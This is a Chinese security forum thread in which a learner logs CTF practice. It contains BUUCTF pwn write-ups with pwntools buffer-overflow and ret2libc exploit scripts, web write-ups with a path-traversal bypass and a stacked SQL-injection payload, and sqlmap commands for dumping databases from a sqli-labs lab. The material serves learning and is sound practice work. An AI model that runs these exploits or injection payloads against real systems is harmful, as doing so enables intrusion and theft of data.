如下图,可以发现,偏移量为23。

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)




######  1.3、构造exp
```bash
payload = 超长字符 + fun_addr
```

最开始按照老师之前给的思路写了一个exp,但是出现了一些错误,在此记录一下。


```python
from pwn import *
r = remote("node3.buuoj.cn",26428)


offset = 23
fun_addr =  0x401186 # address of fun
payload ='a'*offset+p64(0x401186)


r.sendline(payload)
r.interactive()
```
执行结果:Got EOF while reading in interactive
![在这里插入图片描述]()


更正后的exp为:
```python
from pwn import *
#context.log_level='debug'
p = remote('node3.buuoj.cn',26428)

sys_addr=0x0401186
retn_addr=0x0401185
#p.recvuntil("input")
payload='a'*23+p64(retn_addr)+p64(sys_addr)
p.sendline(payload)
p.interactive()
```



执行结果:
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


结果:
flag{bd6c09f6-52a7-49d2-a47e-5d2f9e8e3031}




## 0x03 warmup_csaw_2016
#### (1)、思路
#####  1.1、查看安全信息


![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


##### 1.2、代码审计
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


```c
#如下为mian()函数的伪代码
_int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s; // [rsp+0h] [rbp-80h]
  char v5; // [rsp+40h] [rbp-40h]


  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(&s, "%p\n", sub_40060D);
  write(1, &s, 9uLL);
  write(1, ">", 1uLL);
  return gets(&v5, ">");
}


int sub_40060D() //0x40060D
{
  return system("cat flag.txt");
}
```



超长字符溢出定位:

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


######  1.3、构造exp


**方法一:类似于上一题**
```bash
payload = 超长字符 + fun_addr
```


```python
from pwn import *
#p=process("./warmup_csaw_2016")
p=remote("node3.buuoj.cn",28524)
#gdb.attach(p)
p.recvuntil(">")
payload="a"*72+p64(0x40060D)+p64(0x40060D+1)
p.sendline(payload)
p.interactive()
```

执行结果:

![在这里插入图片描述]()


**方法二:构造system的参数**


```python
payload = 填充字符 + "/bin/sh" + system_addr
```
```python


from pwn import *
p=remote('node3.buuoj.cn',28524)

binsh_addr=0x40
sys_addr=0x40060D

p.recvuntil(">")
payload='/bin/sh'
payload=payload.ljust(0x48,'a')
payload+=p64(sys_addr)
p.sendline(payload)
p.interactive()

```



执行结果;

![在这里插入图片描述]()


## 0x04 pwn1_sctf_2016
####  (1)、思路
######  1.1、查看文件信息


如下,可知文件为32位编写的程序,并且打开了NX保护。
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


##### 1.2、代码审计
######  拓展函数:fgets()、replace()、strcpy()
**fgets()函数功能:从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。**
```bash
char *fgets(char *str, int n, FILE *stream)


str -- 这是指向一个字符数组的指针,该数组存储了要读取的字符串。
n -- 这是要读取的最大字符数(包括最后的空字符)。通常是使用以 str 传递的数组长度。
stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了要从中读取字符的流。
```



**replace()函数包含于头文件#include<string>中。**
参考链接:[C++ replace() 函数用法详解](https://blog.csdn.net/u013718592 ... gCommendFromBaidu-3)


**即replace的执行要遍历由区间[frist,last)限定的整个队列,以把old_value替换成new_value。**




**strcpy()函数功能:把 src 所指向的字符串复制到 dest。需要注意的是如果目标数组 dest 不够大,而源字符串的长度又太长,可能会造成缓冲溢出的情况。**

```c
char *strcpy(char *dest, const char *src)


dest -- 指向用于存储复制内容的目标数组。
src -- 要复制的字符串。
返回值:该函数返回一个指向最终的目标字符串 dest 的指针。
```



**std::string:perator=(&input, &s);
作用:就是 将s指针赋值到 inputs地址里了。**


放入IDA32位显示的伪代码如下:

```c
# mian()函数伪代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln();
  return 0;
}


#vul()函数伪代码如下:
int vuln()
{
  const char *v0; // eax
  char s; // [esp+1Ch] [ebp-3Ch]
  char v3; // [esp+3Ch] [ebp-1Ch]
  char v4; // [esp+40h] [ebp-18h]
  char v5; // [esp+47h] [ebp-11h]
  char v6; // [esp+48h] [ebp-10h]
  char v7; // [esp+4Fh] [ebp-9h]

  printf("Tell me something about yourself: ");
  fgets(&s, 32, edata);
  std::string:perator=(&input, &s);//将s_addr复制到input_addr中
                                                                          //即执行后input_addr地址里面的存的内容是s_addr地址
                                                                          
  std::allocator<char>::allocator(&v5);//给v5申请内存
  std::string::string(&v4, "you", &v5);//v4被赋值为“you”,v5不变
  std::allocator<char>::allocator(&v7);//给v5申请内存
  std::string::string(&v6, "I", &v7);//v6被赋值为“I”,v7不变
  
  replace((std::string *)&v3);
  std::string:perator=(&input, &v3, &v6, &v4);//正常的话 这两行行应该是下面的样子:
                                                                                                  //replace (v3,&inputs,"I","you");
  std::string::~string((std::string *)&v3);
  std::string::~string((std::string *)&v6);
  std::allocator<char>::~allocator(&v7);
  std::string::~string((std::string *)&v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);//获取C字符串等效返回一个数组的指针,该数组包含一个以null结尾的字符序列
                                                                                                                                  // (即表示字符串对象的当前值。该数组包含组成字符串对象的值的相同字符序列,并在末尾附加一个终止空字符('\0')。

  strcpy(&s, v0);        //栈溢出漏洞
  return printf("So, %s\n", &s);
}


#get_flag()函数伪代码
int get_flag() //0x08048F0D
{
  return system("cat flag.txt");
}

```


含有strcpy()函数,我们可以试试栈溢出漏洞,且存在后门函数即 get_flag() 。程序的流程其实输入字符串有字节限制:32,并且将字符串中的  ** "I"变成"you" ** ,然后变之后的 字符串再存在&s处,偏移是 ebp-3Ch(查看伪代码)。
0x3c加上ebp的四个字节,ret_addr 的4字节,需要 0x3c+4+4 = 68 字节。
如果输入 I ,那么程序会把 I 变成you。因此当我们输入21个“I”的话就会被变成21个“you”,即相当于输入了63字节。


```python
from pwn import *


context.log_level = 'debug'
p=process("./pwn1_sctf_2016")
p=remote("node3.buuoj.cn",25678)
#p.recvuntil("Tell me something about yourself: ")
payload="I"*21+"a"+p32(0x08048F0D)


p.sendline(payload)
p.interactive()
```

输出结果:

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)




##  0x05 ciscn_2019_n_1  1


####  (1)、思路


查看文件信息:打开了nx保护机制,64位文件
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


######  拓展函数:setvbuf()


```bash
int setvbuf(FILE *stream, char *buffer, int mode, size_t size)


stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流。
buffer -- 这是分配给用户的缓冲。如果设置为 NULL,该函数会自动分配一个指定大小的缓冲。
mode -- 这指定了文件缓冲的模式:
size --这是缓冲的大小,以字节为单位。

返回值:如果成功,则该函数返回 0,否则返回非零值。

```



模式         | 描述
----------------- | ------------------
_IOFBF        |  全缓冲:对于输出,数据在缓冲填满时被一次性写入。对于输入,缓冲会在请求输入且缓冲为空时被填充。
_IOLBF        |  行缓冲:对于输出,数据在遇到换行符或者在缓冲填满时被写入,具体视情况而定。对于输入,缓冲会在请求输入且缓冲为空时被填充,直到遇到下一个换行符。
_IONBF        |  无缓冲:不使用缓冲。每个 I/O 操作都被即时写入。buffer 和 size 参数被忽略。




放入ida查看


```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  func();
  return 0;
}


int func()
{
  int result; // eax
  char v1; // [rsp+0h] [rbp-30h]
  float v2; // [rsp+2Ch] [rbp-4h]
                          //可以发现 v1 到 v2的偏移量为 30h-4h = 0x2c h


  v2 = 0.0;
  puts("Let's guess the number.");
  gets(&v1); //可能导致溢出漏洞
  if ( v2 == 11.28125 )
    result = system("cat /flag");
  else
    result = puts("Its value should be 11.28125");
  return result;
}


int setvbuf(FILE *stream, char *buf, int modes, size_t n)
{
  return setvbuf(stream, buf, modes, n);
}

```

从伪代码,我们可以发现满足  if ( v2 == 11.28125 ),那么将会执行system("cat /flag")。而v2的初始值为0.0并且没有渠道进行改变;而函数可以gets函数输入v1的值,因此可以通过超长溢出输入将v2的值溢出为 11.28125,从而满足    if ( v2 = = 11.28125 )。
由上面伪代码分析可得,通过 v1 溢出达到 v2得偏移量为 `30h-4h = 0x2c h` 。
我们需要将 v2的覆盖为 11.28125(float浮点数),我们gets输入的是char类型,但是需要覆盖的为 浮点数,这个转化该怎么办呢?


在线工具:http://lostphp.com/hexconvert/

![在这里插入图片描述]()


因此,直接将 0x41348000加在payload后面即可有 v2 == 11.28125 的效果。


#####  (2)、exp构造


```python
from pwn import *
#context.log_level = 'debug'
#p=process("./ciscn_2019_n_1")
p=remote("node3.buuoj.cn",28429)
#p.recvuntil("Tell me something about yourself: ")
payload="I"*(0x30-0x4)+p32(0x41348000)


p.sendline(payload)
p.interactive()
```



输出结果:
![在这里插入图片描述]()


##  0x06 ==ciscn_2019_c_1==


####  (1)、思路


查看文件信息:64位,打开了nx保护机制

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


#####  拓展函数:fflush()

**fflush()函数**


```bash
int fflush(FILE *stream)

stream -- 这是指向 FILE 对象的指针,该 FILE 对象指定了一个缓冲流。

返回值:如果成功,该函数返回零值。如果发生错误,则返回 EOF,且设置错误标识符(即 feof)。
```



**伪代码分析:**


```c
// local variable allocation has failed, the output may be wrong!
//局部变量分配失败,输出可能错误!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h]


  init(*(_QWORD *)&argc, argv, envp);//init进程,它是内核启动的第一个用户级进程。
  //init有许多很重要的任务,比如像启动getty(用于用户登录)、实现运行级别、以及处理孤立进程。
  
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin("Welcome to this Encryption machine\n");
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);//scanf输入v4的值
      getchar(); //在输入缓冲区顺序读入一个字符(包括空格、回车和Tab)
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin("I think you can do it by yourself");//输入选项
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin("%d");
  }
  puts("Something Wrong!");
  return 0;
}


int begin()
{
  puts("====================================================================");
  puts("1.Encrypt");
  puts("2.Decrypt");
  puts("3.Exit");
  return puts("Input your choice!");
}


int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h]
  __int16 v3; // [rsp+30h] [rbp-20h]


  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s); //栈溢出漏洞函数
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) ) //strlen()在读取字符串时遇到’\x00‘即空字符停止读取
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu; //异或处理
      }
      else
      {
        s[x] ^= 0xEu; //异或处理
      }
    }
    else
    {
      s[x] ^= 0xDu; //异或处理
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}


```



######  (2)、exp
>参考链接:
方法一:https://darkwing.moe/2019/11/26/ciscn-2019-c-1/
方法二:[BUUCTF刷题(持续更新)](https://blog.csdn.net/qq_4393596 ... mMachineLearnPai2-5)




方法一:


```python


from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p=process("./ciscn_2019_c_1")
p=remote("node3.buuoj.cn",25495)

elf=ELF("./ciscn_2019_c_1")

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
start_addr=0x400790
pop_rdi_ret=0x400c83

payload="a"*0x50+"a"*0x8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start_addr)

p.sendlineafter("Input your choice!\n","1")
p.sendlineafter("Input your Plaintext to be encrypted\n",payload)

p.recvuntil('@')
p.recvline()
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
print "puts_addr is "+hex(puts_addr)

libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
system_addr=libc_base+libc.dump("system")
str_bin_sh=libc_base+libc.dump("str_bin_sh")

print "libc_base is "+hex(libc_base)
print "system_addr is "+hex(system_addr)
print "str_bin_sh is "+hex(str_bin_sh)

ret_addr=0x4006b9
payload="a"*0x50+"a"*0x8+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)

payload="a"*0x50+"a"*0x8+p64(ret_addr)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
p.sendlineafter("Input your choice!\n","1")
p.sendlineafter("Input your Plaintext to be encrypted\n",payload)

p.interactive()
```


方法二:

```python
# encoding=utf-8
from pwn import *

sh = remote('node3.buuoj.cn',25319)
elf = ELF('./ciscn_2019_c_1')

start = elf.sym['main']
rdi_addr = 0x0000000000400c83
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
gets_got = elf.got['gets']

sh.sendlineafter('choice!\n', '1')
payload1 = 'a' * 88 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(start)
sh.sendline(payload1)
sh.recvuntil('@')
sh.recvline()
puts_leak = u64(sh.recvline()[:-1].ljust(8, '\0'))
log.success('puts==>'+hex(puts_leak))

libc = ELF('./libc/libc-2.27.so')
libc_base = puts_leak - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']

bin_sh_addr = libc_base + 0x001b3e9a

sh.sendlineafter('choice!\n', '1')
payload2 = 'a' * 88 + p64(rdi_addr) + p64(bin_sh_addr) +p64(0x0400C1C)+ p64(sys_addr)
sh.sendline(payload2)
sh.interactive()


```

2020/0508 周五
没有激流就称不上勇进,没有山峰则谈不上攀登。

-------from my pc




回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-5-11 21:56:09 | 显示全部楼层
buuctf--web篇01




##  0x01 [HCTF 2018]WarmUp


参考链接:https://blog.csdn.net/zouchengzhi1021/article/details/104173137
打开源码,发现source.php字样,添加在后面,然后就看见了php代码。如下:


```php
<?php
    highlight_file(__FILE__);//highlight_file() 函数对文件进行语法高亮显示。
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
            //isset() -- 检测变量是否设置,并且不是 NULL。
            //is_string() — 检测变量是否是字符串。
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
            //in_array() 函数搜索数组中是否存在指定的值。返回true或者flase
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );//截取0到'?'前面的字符串
            //mb_substr($str,start,length):在str中从start开始截取长度为length的中文字符串(起始位置为0)
            //mb_strpos() — 查找字符串在另一个字符串中首次出现的位置

            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);//urldecode() — 解码已编码的 URL 字符串
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

        //$_REQUEST — HTTP Request 变量
    //默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。
    if (! empty($_REQUEST['file'])      
            && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    )
    {
        include $_REQUEST['file'];
        exit;
    }
    else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>
```

从源码中我们可以发现:
  • - 1、可以访问source.php和hint.php文件(如下图,flag四个字符重复了四次)
![在这里插入图片描述]()
  • - 2、在函数checkfile()中,我们可以发现四个 if 语句。第一个是检测 $_page 的值是否为空,后面的均是检测 $whitelist 是否在 $_page里面。


```php
//$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//关联数组:类似于键值


if (in_array($_page, $whitelist)) {
                return true;
            }
```


  • - 3、截取$_page从0到?之前的字符串
```php
$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );//截取0到'?'前面的字符串
```



  • - 4、flag需要满足的条件:主要在于满足 emmm::checkFile($_REQUEST['file'])
```php
        //$_REQUEST — HTTP Request 变量
    //默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。
   
    if (! empty($_REQUEST['file'])      
            && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    )
    {
        include $_REQUEST['file'];
        exit;
    }
```



REQUEST利用 ../  跳转目录读取 flag,可以一次一次 ../  尝试,我发现ffffllllaaaagggg都为四个,所以可能四次跳转,直接尝试。


问号'?'两次编码值为'%253f'。
先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f'),


![在这里插入图片描述]()




## 0x02 [强网杯 2019]随便注
参考链接:https://www.cnblogs.com/peri0d/p/12123814.html
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


这道题,涨知识了,第一次知道原来可以直接使用show()进行显示的。


```css
http://e43f3155-6442-4b72-8d99-99ba63e5e8f1.node3.buuoj.cn/
?inject=1'%23 //返回正常,单引号闭合,字符型注入
?inject=1';show databases;%23 //显示所有的数据库
?inject=1';show tables;%23 //显示所有的表格
?inject=1';show columns from `1919810931114514`;%23
?inject=1';show columns from `words`;%23

//构造payload
?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;%23

//获取flag
/?inject=1' or '1'='1

```


**?inject=1'%23 //返回正常,单引号闭合,字符型注入**
![在这里插入图片描述]()

**?inject=1';show databases;%23 //显示所有的数据库**
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


**?inject=1';show tables;%23 //显示所有的表格**
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


?inject=1';show columns from `1919810931114514`;%23
?inject=1';show columns from `words`;%23

![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


**既然没过滤 alert 和 rename,那就可以把表和列改名。先把 words 改为 words1,再把数字表改为 words,然后把新的 words 表里的 flag 列改为 id ,这样就可以直接查询 flag 了**
```bash
//构造payload
?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;%23
```



![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)


**使用 /?inject=1' or '1'='1 访问一下即可获得 flag**
![在这里插入图片描述](?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzkwMTAzOA==,size_16,color_FFFFFF,t_70)

2020/0509 每日一剂

只要你愿意,并为之坚持,总有一天,你会活成自己喜欢的模样。


-----from my PC

















回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-7-14 07:39:25 | 显示全部楼层
因此自己所知道的骚姿势还是太少了,所以这几天主要在刷sqllib,增长姿势,写了一点关于这个靶场的攻略,等刷完了,这几天便开始陆续上传。实战的实践的不多。
回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-7-16 20:55:46 | 显示全部楼层
本帖最后由 Xor0ne 于 2020-7-16 21:10 编辑

DVWA攻略




这两天吧dvwa结束了,自己边百度边写了一个大致的攻略,攻略内容比较多,我就不一一转载过来了,我把大致教程的链接给复制过来,以当做这几天的一个小结尾吧!





昨天把自己这几天的总结交了一下,因为这几天一直在刷靶场,实战做得太少了,所以靶场之后暂告一段落吧,明天开始把这个章节先略过,开始下一个章节,然后在花时间做一下实战!


回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-7-19 20:18:49 | 显示全部楼层


今天主要是把discuz x3.4的一些漏洞进行复现,额,,没有实现,不知道是不是我下载的版本没有漏洞,能找到的漏洞都复现了一遍,还是不行。

关于那个网站我看错了吧,因为拦包后和网上的截图完全不一样,所以可能是我对于漏洞看错了吧!



回复

使用道具 举报

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
 楼主| 发表于 2020-7-28 21:26:37 | 显示全部楼层


2020/0726/2020/0728 学习记录

一、简要概括:

这几天主要是一边在写存储过程的两个程序,一遍在靶场不断地练习sqlmap的工具,因为之前看书太快,所以现在的把看书的速度放慢了许多,争取再过三天sqlmap跑完靶场,然后写一个sqlmap工具的总结(加油!!!)

之前把sqllibs的总结写完了,修修改改,不知带该怎么放过来了,所以就一直把它躺在我的草稿箱里面,总觉得还差点什么,但是又不知道该怎么下手去修改这个总结,唉,我终究还是太懒了~~,这几天我努力完结然后搬过来吧!


二、具体笔记

2.1、目录


sqlmap刷sqllibs_01-1-10sqlmap刷sqllibs_02-post型-11-16sqlmap刷sqllibs_03-请求-17-20



2.2、具体过程
sqlmap刷sqllibs_01-1-10

在使用前,我们先大致介绍一下sqlmap可能的用处。
以下来自于:

版权声明:本文为CSDN博主「小明师傅」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_24030907/article/details/106541411

  • 0、清除sqlmap缓存:
    第一个办法:在C:\Users\dragoneyes.sqlmap\output,删除output里面的内容
    第二个办法:sqlmap.py --purge

  • 1、检测注入点
    sqlmap -u 注入点 检测注入点是否可用
    sqlmap -u 注入点 –batch 自动输入

  • 2、暴库和数据库用户
    sqlmap -u 注入点 –dbs //暴库
    Web当前使用的数据库
    sqlmap -u 注入点 –current-db //爆当前使用的库

    • Web数据库使用的账户
      sqlmap -u 注入点 –current-user //当前使用的账户
    • 列出sqlserver所有用户
      sqlmap -u 注入点 –users // 列出所有使用过的账户
  • 3、数据库账户与密码
    sqlmap -u 注入点 –passwords //mysql的登录账户和密码

  • 4、列出数据库中的表
    sqlmap -u 注入点 -D 指定数据库名 –tables //(-D指定数据库名称)

  • 5、列出表中字段
    sqlmap -u 注入点 -D 指定数据库名 -T 指定的表名 - -columns

  • 6、爆字段内容
    sqlmap -u 注入点 -D 指定数据库名 -T 指定表名 -C “email,username,userpassword” –dump (将结果导出)


–risk:风险等级,共有4个,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。

level:共有五个等级,默认为1,在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

1、less01-Error Based- String

由于这个比较简单,因此我们可以直接进行最高等级的暴库:

C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-1/?id=1" --level=5 --risk=3 --dbs
  • 1


在跑数据库的过程中,我们可以发现,其实sqlmap会将有用的payload输出出来,看见这个,你懂了吗?载荷如下:

sqlmap resumed the following injection point(s) from stored session:---Parameter: id (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: id=1' AND 4225=4225 AND 'gZcP'='gZcP    Type: error-based    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)    Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170627171,(SELECT (ELT(5094=5094,1))),0x71626a7171,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'loNl'='loNl    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: id=1' AND (SELECT 1656 FROM (SELECT(SLEEP(5)))rOKe) AND 'cthH'='cthH    Type: UNION query    Title: Generic UNION query (NULL) - 3 columns    Payload: id=-8083' UNION ALL SELECT NULL,CONCAT(0x7170627171,0x424c456c79416b53754b79614463647857484654456b76454966544364767747446a737173444955,0x71626a7171),NULL-- ----
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

接下来是类似于手工注入的常规步骤:

1.1、查看当前数据库C:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-1/?id=1" --current-db
  • 1

1.2、枚举出指定数据库中的表名–mysql -D "security"和- - tablesC:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-1/?id=1" --level=5 --risk=3 --dbms=mysql -D "security" --tables
  • 1

1.3、枚举出users表中的字段-- -T "users"和 - - colC:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-1/?id=1" --level=5 --risk=3 --dbms=mysql -D "security" -T "users" --col
  • 1

1.4、枚举出指定字段–-C "password,username"和- - dumpC:\Python27\sqlmap>sqlmap.py -u "http://192.168.1.177:40000/Less-1/?id=1" --level=5 --risk=3 --dbms=mysql -D "security" -T "users" -C "password,username" --dump
  • 1

如下,数据库尽收眼底。

2、less02-Error Based- Intiger

和第一关类似,sqlmap给出的sqlmap如下:具体的语句就不一一列举了。

sqlmap resumed the following injection point(s) from stored session:---Parameter: id (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: id=1 AND 6989=6989    Type: error-based    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)    Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7178626a71,(SELECT (ELT(6000=6000,1))),0x7162706271,0x78))s), 8446744073709551610, 8446744073709551610)))    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: id=1 AND (SELECT 1046 FROM (SELECT(SLEEP(5)))XNPi)    Type: UNION query    Title: Generic UNION query (NULL) - 3 columns    Payload: id=-3218 UNION ALL SELECT NULL,CONCAT(0x7178626a71,0x627549484c74714d6d63704b6c58725270757a6b644678537a7a714b6463415159534877596e796b,0x7162706271),NULL-- ----
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
3、less03-Error Based- String (with Twist)

